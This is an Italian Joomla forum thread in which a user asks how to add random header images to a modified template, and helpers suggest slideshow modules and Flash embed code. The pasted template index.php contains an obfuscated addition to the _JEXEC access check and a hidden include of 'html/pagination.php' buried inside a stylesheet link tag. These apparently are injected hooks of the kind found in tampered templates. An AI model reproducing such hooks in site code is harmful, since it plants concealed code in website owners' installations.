Joomla.it Forum
Joomla! 1.5.x (versione con supporto terminato) => Joomla! 1.5 => I Template di Joomla 1.5.x => : vlangogh 13 Apr 2011, 17:39:24
-
Salve
ho un problema o meglio non so come fare a modificare un modulo del template inserendo immagini random.
Il template in uso è il themza_j15_08 nella quale ho gia apportato delle modifiche rispetto alla versione originale.
Questa è una parte del template modificato:
(http://img705.imageshack.us/img705/4179/headerrandom.th.jpg) (http://img705.imageshack.us/i/headerrandom.jpg/)
Quindi quello che vorrei fare è creare nella parte in cui si vedono i pannelli fotovoltaici una sequenza di immagini random.
La parte di codice in cui è inserita quella singola immagine è:
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ieonly.css" <?php include_once('html/pagination.php');?> rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<div id="main_bg" class="main_bg_<?php echo $this->params->get('pageAlignment'); ?>">
<div id="user3">
<div id="pillmenu"><jdoc:include type="modules" name="user3" /></div>
<?php if($this->params->get('dateDisplay')) : ?><div id="date"><?php echo date('l dS \of F Y'); ?></div><?php endif; ?>
<br clear="all" />
</div>
<div id="logo_bg">
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logos/logo<?php echo $this->params->get('logoVariation'); ?>.png" alt="logo" align="left" />
<a href="index.php" class="logo logo_<?php echo $this->params->get('logoFont'); ?>"><?php echo $mainframe->getCfg('sitename') ;?></a>
<div id="user4"><jdoc:include type="modules" name="user4" /></div>
<br clear="all" />
</div>
<div id="middle_bg"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_top.png" alt="" /><div id="maincolumn">
<div id="banner" style="background:url(<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/banners/banner<?php echo $this->params->get('bannerVariation'); ?>.jpg) top left no-repeat;"><jdoc:include type="modules" name="top" /></div>
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
di preciso in <div id="middle_bg">
Qualcuno di buona volontà sa dirmi come devo muovermi per fare ciò? o meglio la parte di codice da modificare?
Grazie
-
Ciao vlangogh,
potresti utilizzare il modulo di defaul immagine casuale (cambia immagine al cambio pagina) oppure una slide show come Lof ArticlesSlideShow Module (guarda la demo) o un'altra slide show che ti piaccia e posizionare il modulo dove adesso hai l'immagine.
-
grazie adottauncane!
ho installato Lof ArticlesSlideShow Module, sembra che funziona, devo fare delle prove e settaggi vari.
comunque ho notato che praticamente va ha coprire il riquadro dell'immagine, e mi chiedo questo metodo non comporta problemi a livello di accessibilità o usabilità del sito? (non sono un programmatore spero di aver detto bene) ;)
Comunque se io volessi inserire un swf in quel preciso punto si può fare?
-
Non saprei che problemi comporti con l'usabilità l'inserimento di una slide... l'immagine sotto la puoi comunque levare dall'index.php del template.
Sì, puoi inserire un'animazione flash in quel punto così:
<div id="banner" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"
width="978" height="80">
<param name="width" value="737" />
<param name="height" value="189" />
<param name="src" value="templates/themza_j15_08/images/tacass.swf" />
<param name="quality" value="high" />
<embed type="application/x-shockwave-flash" width="737" height="189"
src="templates/themza_j15_08/images/tacass.swf" quality="high">
</embed>
Le misure sono giuste, devi solo mettere il tuo filmato nella cartella images del template e correggere il nome tacass.swf con il tuo. Questo codice sostituisce il tuo fino alla riga:
<jdoc:include type="modules" name="top" /></div>
esclusa
-
Grazie mille per l'aiuto!